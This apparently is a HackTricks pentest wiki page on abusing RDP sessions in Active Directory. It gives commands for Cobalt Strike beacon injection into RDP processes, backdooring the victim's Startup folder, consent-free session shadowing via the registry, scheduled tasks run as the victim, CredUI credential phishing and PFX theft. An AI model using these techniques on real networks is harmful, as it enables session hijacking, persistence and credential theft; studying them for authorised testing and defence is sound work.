rdp-sessions-abuse.md (7906B)
1 --- 2 title: "RDP Sessions Abuse" 3 section: "Windows" 4 sectionSlug: "windows-hardening" 5 sourcePath: "src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # RDP Sessions Abuse 14 15 ## RDP Process Injection 16 17 If the **external group** has **RDP access** to a **computer** in the current domain, an attacker who compromises that computer can wait for a member of the group to connect. 18 19 Once the user connects through RDP, the **attacker can pivot to that user's session** and abuse the user's permissions in the external domain. 20 21 ```bash 22 # Supposing the group "External Users" has RDP access in the current domain 23 ## Find which computers they can access 24 ## The easiest way would be with bloodhound, but you could also run: 25 Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName 26 #or 27 Find-DomainLocalGroupMember -GroupName "Remote Desktop Users" | select -expand ComputerName 28 29 # Then, compromise the listed machines, and wait til someone from the external domain logs in: 30 net logons 31 Logged on users at \\localhost: 32 EXT\super.admin 33 34 # With cobalt strike you could just inject a beacon inside of the RDP process 35 beacon> ps 36 PID PPID Name Arch Session User 37 --- ---- ---- ---- ------- ----- 38 ... 39 4960 1012 rdpclip.exe x64 3 EXT\super.admin 40 41 beacon> inject 4960 x64 tcp-local 42 ## From that beacon you can just run powerview modules interacting with the external domain as that user 43 ``` 44 45 Check **other ways to steal sessions with other tools** [**in this page.**](/hacktricks/network-services-pentesting/pentesting-rdp#session-stealing) 46 47 ## RDPInception 48 49 If a user access via **RDP into a machine** where an **attacker** is **waiting** for him, the attacker will be able to **inject a beacon in the RDP session of the user** and if the **victim mounted his drive** when accessing via RDP, the **attacker could access it**. 50 51 In this case you could just **compromise** the **victims** **original computer** by writing a **backdoor** in the **statup folder**. 52 53 ```bash 54 # Wait til someone logs in: 55 net logons 56 Logged on users at \\localhost: 57 EXT\super.admin 58 59 # With cobalt strike you could just inject a beacon inside of the RDP process 60 beacon> ps 61 PID PPID Name Arch Session User 62 --- ---- ---- ---- ------- ----- 63 ... 64 4960 1012 rdpclip.exe x64 3 EXT\super.admin 65 66 beacon> inject 4960 x64 tcp-local 67 68 # There's a UNC path called tsclient which has a mount point for every drive that is being shared over RDP. 69 ## \\tsclient\c is the C: drive on the origin machine of the RDP session 70 beacon> ls \\tsclient\c 71 72 Size Type Last Modified Name 73 ---- ---- ------------- ---- 74 dir 02/10/2021 04:11:30 $Recycle.Bin 75 dir 02/10/2021 03:23:44 Boot 76 dir 02/20/2021 10:15:23 Config.Msi 77 dir 10/18/2016 01:59:39 Documents and Settings 78 [...] 79 80 # Upload backdoor to startup folder 81 beacon> cd \\tsclient\c\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 82 beacon> upload C:\Payloads\pivot.exe 83 ``` 84 85 ## Shadow RDP 86 87 If you are **local admin** on a host where the victim already has an **active RDP session**, you may be able to **view/control that desktop without stealing the password or dumping LSASS**.<sup>[[1]](#references)</sup> 88 89 This depends on the **Remote Desktop Services shadowing** policy stored in:<sup>[[2]](#references)</sup><sup>[[3]](#references)</sup> 90 91 ```text 92 HKLM\Software\Policies\Microsoft\Windows NT\Terminal Services\Shadow 93 ``` 94 95 Interesting values: 96 97 - `0`: Disabled 98 - `1`: `EnableInputNotify` (control, user approval required) 99 - `2`: `EnableInputNoNotify` (control, **no user approval**) 100 - `3`: `EnableNoInputNotify` (view-only, user approval required) 101 - `4`: `EnableNoInputNoNotify` (view-only, **no user approval**) 102 103 ```batch 104 :: Check the policy 105 reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow 106 107 :: Enable interaction without consent 108 reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow /t REG_DWORD /d 2 /f 109 110 :: Enumerate sessions and shadow the target one 111 quser /server:<HOST> 112 mstsc /v:<HOST> /shadow:<SESSION_ID> /control /noconsentprompt /prompt 113 ``` 114 115 This is especially useful when a privileged user connected over RDP left an unlocked desktop, KeePass session, MMC console, browser session, or admin shell open. 116 117 ## Scheduled Tasks As Logged-On User 118 119 If you are **local admin** and the target user is **currently logged on**, Task Scheduler can start code **as that user without their password**.<sup>[[1]](#references)</sup><sup>[[4]](#references)</sup> 120 121 This turns the victim's existing logon session into an execution primitive: 122 123 ```batch 124 schtasks /create /S <HOST> /RU "<DOMAIN\\user>" /SC ONCE /ST 00:00 /TN "Updater" /TR "cmd.exe /c whoami > C:\\Windows\\Temp\\whoami.txt" 125 schtasks /run /S <HOST> /TN "Updater" 126 ``` 127 128 Notes: 129 130 - If the user is **not logged on**, Windows usually requires the password to create a task that runs as them. 131 - If the user **is logged on**, the task can reuse the existing logon context. 132 - This is a practical way to execute GUI actions or launch binaries inside the victim session without touching LSASS. 133 134 ## CredUI Prompt Abuse From the Victim Session 135 136 Once you can execute **inside the victim's interactive desktop** (for example via **Shadow RDP** or **a scheduled task running as that user**), you can display a **real Windows credential prompt** using CredUI APIs and harvest credentials entered by the victim.<sup>[[1]](#references)</sup> 137 138 Relevant APIs: 139 140 - `CredUIPromptForWindowsCredentials` 141 - `CredUnPackAuthenticationBuffer` 142 143 Typical flow: 144 145 1. Spawn a binary in the victim session. 146 2. Display a domain-authentication prompt that matches the current domain branding. 147 3. Unpack the returned auth buffer. 148 4. Validate the provided credentials and optionally keep prompting until valid credentials are entered. 149 150 This is useful for **on-host phishing** because the prompt is rendered by standard Windows APIs instead of a fake HTML form. 151 152 ## Requesting a PFX In the Victim Context 153 154 The same **scheduled-task-as-user** primitive can be used to request a **certificate/PFX as the logged-on victim**. That certificate can later be used for **AD authentication** as that user, avoiding password theft entirely.<sup>[[1]](#references)</sup><sup>[[5]](#references)</sup> 155 156 High-level flow: 157 158 1. Gain **local admin** on a host where the victim is logged on. 159 2. Run enrollment/export logic as the victim using a **scheduled task**. 160 3. Export the resulting **PFX**. 161 4. Use the PFX for PKINIT / certificate-based AD authentication. 162 163 See the AD CS pages for follow-up abuse: 164 165 [Account Persistence](/hacktricks/windows-hardening/active-directory-methodology/ad-certificates/account-persistence) 166 167 ## References 168 169 - [1] [SensePost - From flat networks to locked up domains with tiering models](https://sensepost.com/blog/2026/from-flat-networks-to-locked-up-domains-with-tiering-models/) 170 - [2] [Microsoft Learn – `mstsc` shadow-session options](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/mstsc) 171 - [3] [NetExec - Shadow RDP plugin PR #465](https://github.com/Pennyw0rth/NetExec/pull/465) 172 - [4] [NetExec - schtask_as module](https://github.com/Pennyw0rth/NetExec/blob/main/nxc/modules/schtask_as.py) 173 - [5] [NetExec - Request PFX via scheduled task PR #908](https://github.com/Pennyw0rth/NetExec/pull/908)